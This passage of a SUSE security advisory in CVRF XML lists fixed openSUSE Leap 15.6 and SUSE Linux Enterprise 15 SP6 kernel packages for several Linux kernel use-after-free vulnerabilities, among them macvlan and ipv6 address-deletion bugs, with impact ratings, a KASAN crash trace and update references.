        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2026-22999.html</URL>
        <Description>CVE-2026-22999</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1257236</URL>
        <Description>SUSE Bug 1257236</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1257238</URL>
        <Description>SUSE Bug 1257238</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="37">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

macvlan: fix possible UAF in macvlan_forward_source()

Add RCU protection on (struct macvlan_source_entry)-&gt;vlan.

Whenever macvlan_hash_del_source() is called, we must clear
entry-&gt;vlan pointer before RCU grace period starts.

This allows macvlan_forward_source() to skip over
entries queued for freeing.

Note that macvlan_dev are already RCU protected, as they
are embedded in a standard netdev (netdev_priv(ndev)).

https: //lore.kernel.org/netdev/695fb1e8.050a0220.1c677c.039f.GAE@google.com/T/#u</Note>
    </Notes>
    <CVE>CVE-2026-23001</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2026-23001.html</URL>
        <Description>CVE-2026-23001</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1257232</URL>
        <Description>SUSE Bug 1257232</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1257233</URL>
        <Description>SUSE Bug 1257233</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="38">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

ipv6: Fix use-after-free in inet6_addr_del().

syzbot reported use-after-free of inet6_ifaddr in
inet6_addr_del(). [0]

The cited commit accidentally moved ipv6_del_addr() for
mngtmpaddr before reading its ifp-&gt;flags for temporary
addresses in inet6_addr_del().

Let's move ipv6_del_addr() down to fix the UAF.

[0]:
BUG: KASAN: slab-use-after-free in inet6_addr_del.constprop.0+0x67a/0x6b0 net/ipv6/addrconf.c:3117
Read of size 4 at addr ffff88807b89c86c by task syz.3.1618/9593

CPU: 0 UID: 0 PID: 9593 Comm: syz.3.1618 Not tainted syzkaller #0 PREEMPT(full)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/25/2025
Call Trace:
 &lt;TASK&gt;
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x116/0x1f0 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0xcd/0x630 mm/kasan/report.c:482
 kasan_report+0xe0/0x110 mm/kasan/report.c:595
 inet6_addr_del.constprop.0+0x67a/0x6b0 net/ipv6/addrconf.c:3117
 addrconf_del_ifaddr+0x11e/0x190 net/ipv6/addrconf.c:3181
 inet6_ioctl+0x1e5/0x2b0 net/ipv6/af_inet6.c:582
 sock_do_ioctl+0x118/0x280 net/socket.c:1254
 sock_ioctl+0x227/0x6b0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl fs/ioctl.c:583 [inline]
 __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0xcd/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f164cf8f749
Code: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 &lt;48&gt; 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f164de64038 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 00007f164d1e5fa0 RCX: 00007f164cf8f749
RDX: 0000200000000000 RSI: 0000000000008936 RDI: 0000000000000003
RBP: 00007f164d013f91 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f164d1e6038 R14: 00007f164d1e5fa0 R15: 00007ffde15c8288
 &lt;/TASK&gt;

Allocated by task 9593:
 kasan_save_stack+0x33/0x60 mm/kasan/common.c:56
 kasan_save_track+0x14/0x30 mm/kasan/common.c:77
 poison_kmalloc_redzone mm/kasan/common.c:397 [inline]
 __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:414
 kmalloc_noprof include/linux/slab.h:957 [inline]
 kzalloc_noprof include/linux/slab.h:1094 [inline]
 ipv6_add_addr+0x4e3/0x2010 net/ipv6/addrconf.c:1120
 inet6_addr_add+0x256/0x9b0 net/ipv6/addrconf.c:3050
 addrconf_add_ifaddr+0x1fc/0x450 net/ipv6/addrconf.c:3160
 inet6_ioctl+0x103/0x2b0 net/ipv6/af_inet6.c:580
 sock_do_ioctl+0x118/0x280 net/socket.c:1254
 sock_ioctl+0x227/0x6b0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl fs/ioctl.c:583 [inline]
 __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0xcd/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 6099:
 kasan_save_stack+0x33/0x60 mm/kasan/common.c:56
 kasan_save_track+0x14/0x30 mm/kasan/common.c:77
 kasan_save_free_info+0x3b/0x60 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:252 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:284
 kasan_slab_free include/linux/kasan.h:234 [inline]
 slab_free_hook mm/slub.c:2540 [inline]
 slab_free_freelist_hook mm/slub.c:2569 [inline]
 slab_free_bulk mm/slub.c:6696 [inline]
 kmem_cache_free_bulk mm/slub.c:7383 [inline]
 kmem_cache_free_bulk+0x2bf/0x680 mm/slub.c:7362
 kfree_bulk include/linux/slab.h:830 [inline]
 kvfree_rcu_bulk+0x1b7/0x1e0 mm/slab_common.c:1523
 kvfree_rcu_drain_ready mm/slab_common.c:1728 [inline]
 kfree_rcu_monitor+0x1d0/0x2f0 mm/slab_common.c:1801
 process_one_work+0x9ba/0x1b20 kernel/workqueue.c:3257
 process_scheduled_works kernel/workqu
---truncated---</Note>
    </Notes>
    <CVE>CVE-2026-23010</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
